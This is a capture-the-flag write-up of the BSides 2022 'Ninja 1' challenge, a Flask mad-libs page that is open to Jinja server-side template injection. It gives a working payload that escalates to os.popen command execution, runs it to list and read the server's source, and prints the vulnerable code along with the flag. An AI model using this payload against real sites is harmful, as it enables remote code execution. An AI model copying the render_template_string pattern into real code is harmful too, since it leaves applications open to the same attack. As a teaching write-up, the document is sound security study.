bsides2022 – Ninja 1

17 October 2022 – Written by Valentin Huber – in ctf, flask, injection, python, and web


Challenge

Part 1 of 3: tell me a secret

The provided website showed the following:

I just got back from a ___None___(adj1) party with EverSec.
Can you believe we got to eat __None___(adj2) pizza in ____None___(place)?!
Everyone got to choose their own toppings.
I made ___None___(topping1) and __None___(topping2) pizza, which is my favorite! How fun!
If that wasn't good enough already, ___None____(person) was there teaching exploits!

Background

Providing any of the keys in the HTTP query will fill them instead of None. So requesting [URL]?adj1=foo returns:

I just got back from a ___foo___(adj1) party with EverSec. […]

Both multiple underscores and None indicates that python is at work here.

Solution

Requesting [URL]?adj1={{2*3}} returns:

I just got back from a ___6___(adj1) party with EverSec. […]

So it seems like when we escape anything with two curly braces, we have python code execution. And with a bit more exploration, we can get to full code execution: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('[command]').read()}}.

Let’s see what files we can access: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}} returns ninja.py.

Let’s get the contents of that file: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('cat ninja.py').read()}}:

from flask import Flask, request, render_template_string
app = Flask(__name__)
app.secret_key = 'flag\{ultimate_jinja_storm3\}'
@app.route('/')
def index():
    a = request.args.get('adj1') or None
    b = request.args.get('adj2') or None
    c = request.args.get('place') or None
    d = request.args.get('topping1') or None
    e = request.args.get('topping2') or None
    f = request.args.get('person') or None
    template = ''' <h1>Mad libs</h1><br><p>I just got back from a ___{a}___(adj1) party with EverSec. Can you believe we got to eat __{b}___(adj2) pizza in ____{c}___(place)?! Everyone got to choose their own toppings. I made ___{d}___(topping1) and __{e}___(topping2) pizza, which is my favorite! How fun! If that wasn't good enough already, ___{f}____(person) was there teaching exploits! </p> '''.format(a = a, b = b, c=c, d=d, e=e, f=f)
    return render_template_string(template)
if __name__ == '__main__': 
    pp.run(host='0.0.0.0', port=8080)

This also explains the vulnerability: flask’s render_template_string escapes code with two curly braces.

And we have our flag: flag\{ultimate_jinja_storm3\}